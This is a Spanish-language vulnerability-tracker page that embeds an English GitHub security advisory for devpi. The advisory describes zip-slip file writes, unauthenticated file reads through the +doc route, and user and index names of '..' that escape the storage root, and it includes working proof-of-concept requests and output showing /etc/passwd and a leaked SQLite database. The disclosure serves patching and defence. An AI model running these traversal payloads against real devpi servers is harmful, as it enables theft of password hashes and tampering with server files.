llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · devpi-web

GHSA-W72Q-5VWW-P2RH

devpi zip-slip arbitrary file write on doc upload, unauthenticated arbitrary file read via +doc route, and dot-named user/index storage escape

Texto original en inglés · Ver en español

Parche disponible
Descargar PNG JSON
CVSS 3.1
8.2
Alta
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición25 dDesde la divulgación, 27 oct 2026, 9:20 a. m.
Detección22 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Mis orejas detectan algo raro por aquí.Puede que hoy no pase nada. Puede.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 6.21.0
Monitoreo
Detectada +1
27 oct 26
18 nov 26
21 nov 26
27 oct 26
2 nov 26
9 nov 26
15 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-W72Q-5VWW-P2RH divulgada · CVSS 8.2 (GitHub)
Remediación Parche 6.21.0 devpi-server · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Filed here at the maintainer's request (Florian Schulze, email of 2026-10-22). The zip-slip on doc upload was already reported by someone else https://github.com/devpi/devpi/security/advisories/GHSA-5qcc-697r-rj64; this advisory is for the two new issues below (unauthenticated file read via the +doc route, and the dot-named user/index storage escape). The zip-slip details are kept for context only.

Found with AploSec, our security scanner, and confirmed by execution.

## Summary
Three separate path-handling bugs in devpi-common, devpi-web and devpi-server, all reachable with default settings. (1) A crafted doc zip uploaded to the user's own index writes attacker-controlled bytes to an arbitrary path when the docs are unpacked. (2) The unauthenticated `+doc` route serves arbitrary files readable by the server process, including the keyfs sqlite database. (3) A user or index named `..` stores uploaded files outside the server's `+files` root. None is the parent advisory GHSA-m5pq-69xg-vcq3 (CVE-2026-54723, missing auth on `/+changelog`, fixed in 6.20.2).

## Affected versions
- devpi-server 6.20.3, devpi-web 5.1.1, devpi-common 4.1.1, devpi-client 7.3.0 (all PyPI latest as of 2026-10-21).
- Repo HEAD main 3fc423ba8c98193a2450586b7803ae4eba0dd711: source grep shows `archive.py:128` `relative_to` check, `doczip.py` `joinpath`, `model.py` `is_valid_name` and `filestore_fs.py` `_make_path` unchanged, so not fixed at HEAD.
- Test environment: Docker, defaults (anonymous user creation, no `--restrict-modify`, docs unpacked, `keep_docs_packed` off), server on 127.0.0.1, `--network none`.

## Details
1. Zip-slip (already reported https://github.com/devpi/devpi/security/advisories/GHSA-5qcc-697r-rj64), `common/devpi_common/archive.py:133` (`ZipArchive.extract`). Absolute member names are blocked by the existing guard, but `../` members are not. devpi-web unpacks uploaded doc zips with this function on first `+doc` access. Needs doc-upload rights on an index; by default anyone can self-register and create their own index.
2. Doc serving traversal, `web/devpi_web/doczip.py:87`. The requested relative path is joined to the unpacked doc directory without containment. A leading `//` (absolute path) and percent-encoded `%2e%2e` segments escape it. The GET is unauthenticated. It needs a project/version with a doczip, which any self-registered user can upload to their own index. The literal `../` form returned 404 in the test run, so only the encoded and absolute forms are proven.
3. Dot-named user/index, `server/devpi_server/filestore_fs.py:96`. `PUT /..` creates a user named `..` (201), `PUT /../..` creates an index, and a `file_upload` to `/../..` stores the file at `/srv/+f/<hash>/<hash>/<name>`, outside the server dir. Only the basename is attacker-chosen; directory components are hash-derived, so there is no arbitrary overwrite. The literal `/..` must reach the app un-normalised (true for waitress directly; a proxy that collapses dot segments may block it).

## Proof of concept
Full harness: `poc.py` (raw sockets against a fresh `devpi-server` in the container). Core steps:

# setup: user alice, index alice/dev, default config
raw("PUT", "/alice", {"password": "<redacted>"})
raw("PUT", "/alice/dev", {"bases": []}, AUTH)

# 1. zip-slip via doc upload
doc_upload("evil", "1.0", mkzip([("index.html", "<h1>x</h1>"),
                                 ("../"*12 + "tmp/f3_zipslip_canary", "ZIPSLIP-WRITE")]))
raw("GET", "/alice/dev/evil/1.0/+doc/index.html")      # triggers unpack

# 2. unauthenticated read
raw("GET", "/alice/dev/good/1.0/+doc//etc/passwd")
raw("GET", "/alice/dev/good/1.0/+doc/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/.sqlite")

# 3. dot-named user/index
raw("PUT", "/..", {"password": "<redacted>"})
raw("PUT", "/../..", {"bases": []}, Basic("..:<redacted>"))
file_upload("/../..", "..", "<redacted>", "evilpkg", "1.0", "evilpkg-1.0.tar.gz", b"TRAVERSAL-PAYLOAD-BBBB")

Run: `docker run --name w11v-devpi-2 --network none w11v-devpi`.

Controls (fired):
- Benign zip extracts normally and serves 200.
- A zip with an absolute member name is blocked by the existing guard: `ABS canary exists (guard control, expect False): False`.
- `+doc/index.html` returns 200; a nonexistent file returns 404.
- The same file upload to `/alice/dev` lands at `/srv/data/+files/alice/dev/+f/<hash>/<hash>/normpkg-1.0.tar.gz`, inside the server dir.

Attack results:

TRAVERSAL canary exists (attack): True ZIPSLIP-WRITE            (content written to /tmp/f3_zipslip_canary)
second upload wrote a marker file to /srv/evil2_marker.txt, outside the server dir
abs //etc/passwd: 200 len=839 head=b'root:x:0:0:root:/root:/bin/bash...'
sqlite via %2e%2e: 200 len=32768 head=b'SQLite format 3...'
PUT /.. -> 201 ; PUT /../.. -> 200 ; POST /../.. file_upload -> 200
outside serverdir? ['/srv/+f/a4d/5bed70ccdb396/evilpkg-1.0.tar.gz']

Opened locally in the container, the leaked sqlite file's changelog table held 6 rows containing user records with password hashes (values redacted: `<redacted>`).

## Impact
- Zip-slip: severity high. An arbitrary-path write of attacker-controlled bytes as the server user (create or overwrite any writable file), a plausible route to code execution depending on deployment. Needs only self-registration and an upload to the attacker's own index with default config; no admin needed.
- Doc traversal: severity high. Unauthenticated read of any file readable by the server process, including the keyfs sqlite database holding password hashes and token ids. Reverse proxies that merge slashes or normalise dot segments (for example nginx `merge_slashes`) may block some variants; not tested.
- Dot-named user/index: severity low-medium. It escapes the storage root and pollutes the parent directory but does not allow arbitrary overwrite. Unavailable with `--restrict-modify`.
- Not affected: the `devpi-debugging` plugin (not on PyPI, opt-in `--debug-keyfs`) is out of scope for this report.

## Suggested fix
Resolve each target path and check `resolved.is_relative_to(base)` (or compare real paths) in `ZipArchive.extract`, in the doczip file lookup (reject absolute and `..` segments after decoding), and in `_make_path`/`is_valid_name` (reject `.` and `..` as user and index names).

Zachariah Mithani (zachariah@aplosai.com)

Credit: Zachariah Mithani (@zachariah-mithani, AploSec)

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:L
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
devpi-web≤ 5.1.1
devpi-server≤ 6.20.3
5.1.1
6.20.3
6.21.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypidevpi-server
Corregida 6.21.0 0 d 6.21.0 no afectada
Versiones corregidas6.21.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/devpi/devpi/security/advisories/GHSA-w72q-5vww-p2rh

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.